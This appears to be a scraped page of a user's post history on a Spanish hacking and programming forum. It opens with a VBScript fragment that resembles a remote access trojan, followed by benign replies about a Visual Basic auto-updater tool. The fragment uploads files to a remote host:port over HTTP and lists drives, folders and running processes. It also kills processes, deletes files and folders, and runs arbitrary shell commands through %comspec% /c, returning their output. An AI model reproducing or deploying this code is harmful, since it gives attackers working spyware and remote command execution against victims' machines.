  380.  
  381. dim  httpobj,objstreamuploade,buffer
  382. set  objstreamuploade = createobject("adodb.stream")
  383. with objstreamuploade
  384.     .type = 1
  385.     .open
  386. .loadfromfile fileurl
  387. buffer = .read
  388. .close
  389. end with
  390. set objstreamdownload = nothing
  391. set httpobj = createobject("msxml2.xmlhttp")
  392. httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
  393. httpobj.send buffer
  394. end function
  395.  
  396.  
  397. function enumdriver ()
  398.  
  399. for  each drive in filesystemobj.drives
  400. if   drive.isready = true then
  401.     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
  402. end if
  403. next
  404. end Function
  405.  
  406. function enumfaf (enumdir)
  407.  
  408. enumfaf = enumdir & spliter
  409. for  each folder in filesystemobj.getfolder (enumdir).subfolders
  410.     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
  411. next
  412.  
  413. for  each file in filesystemobj.getfolder (enumdir).files
  414.     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
  415.  
  416. next
  417. end function
  418.  
  419.  
  420. function enumprocess ()
  421.  
  422. on error resume next
  423.  
  424. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  425. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  426.  
  427. dim objitem
  428. for each objitem in colitems
  429. enumprocess = enumprocess & objitem.name & "|"
  430. enumprocess = enumprocess & objitem.processid & "|"
  431.    enumprocess = enumprocess & objitem.executablepath & spliter
  432. next
  433. end function
  434.  
  435. sub exitprocess (pid)
  436. on error resume next
  437.  
  438. shellobj.run "taskkill /F /T /PID " & pid,7,true
  439. end sub
  440.  
  441. sub deletefaf (url)
  442. on error resume next
  443.  
  444. filesystemobj.deletefile url
  445. filesystemobj.deletefolder url
  446.  
  447. end sub
  448.  
  449. function cmdshell (cmd)
  450.  
  451. dim httpobj,oexec,readallfromany
  452.  
  453. set oexec = shellobj.exec ("%comspec% /c " & cmd)
  454. if not oexec.stdout.atendofstream then
  455.   readallfromany = oexec.stdout.readall
  456. elseif not oexec.stderr.atendofstream then
  457.   readallfromany = oexec.stderr.readall
  458. else
  459.   readallfromany = ""
  460. end if
  461.  
  462. cmdshell = readallfromany
  463. end function
  464.  
428  Programación / Programación Visual Basic / Re: [APP & SOURCE] Smart Updater - Añade un auto-actualizador a tus programas FACIL en: 16 Octubre 2013, 01:32 am
Amigo, intente bajar el Smart_Updater.exe y el source, pero están caídos los enlaces   :xD

Fixed, ahora ya funcionan. El enlace de EJEMPLO.zip funciona correctamente, lo has podido probar?
429  Programación / Programación Visual Basic / Re: [APP & SOURCE] Smart Updater - Añade un auto-actualizador a tus programas FACIL en: 16 Octubre 2013, 00:05 am
Excelente  ;-) sos un genio amigo, lo descargaré y probare, cualquier duda la comentó.

Un consulta el programa te avisa cuando hay una nueva versión o hay que comprobarlo manualmente?


Gracias amigo  ;D

No te avisa. Aunque teniendo el código siempre puedes añadir esa opción tú mismo (no es complicado, si no sabes lo puedo implementar yo).

Para integrar Smart Updater en tu aplicación simplemente añade n botón que se llame actualizar y dentro pones:

Código
  1. Shell "Smart_Updater.exe /auto"
  2. End
  3.  

De ésta forma ejecutarás el updater con el parámetro /auto y se auto-actualizará todo automáticamente. Si no añades el parametro /auto el usuario deberá pulsar el botón UPDATE manualmente.

Prueba el EJEMPLO.ZIP y dime si se descarga todo correctamente en tu PC
430  Programación / Programación Visual Basic / Re: [ SRC ] Actualizador de Aplicaciones en: 15 Octubre 2013, 23:51 pm
Gracias por ayudar de forma desinteresada , te debo una amigo :D

http://foro.elhacker.net/programacion_visual_basic/app_source_smart_updater_anade_un_autoactualizador_a_tus_programas_facil-t400743.0.html;new#new
Páginas: 1 ... 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 [43] 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ... 102
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines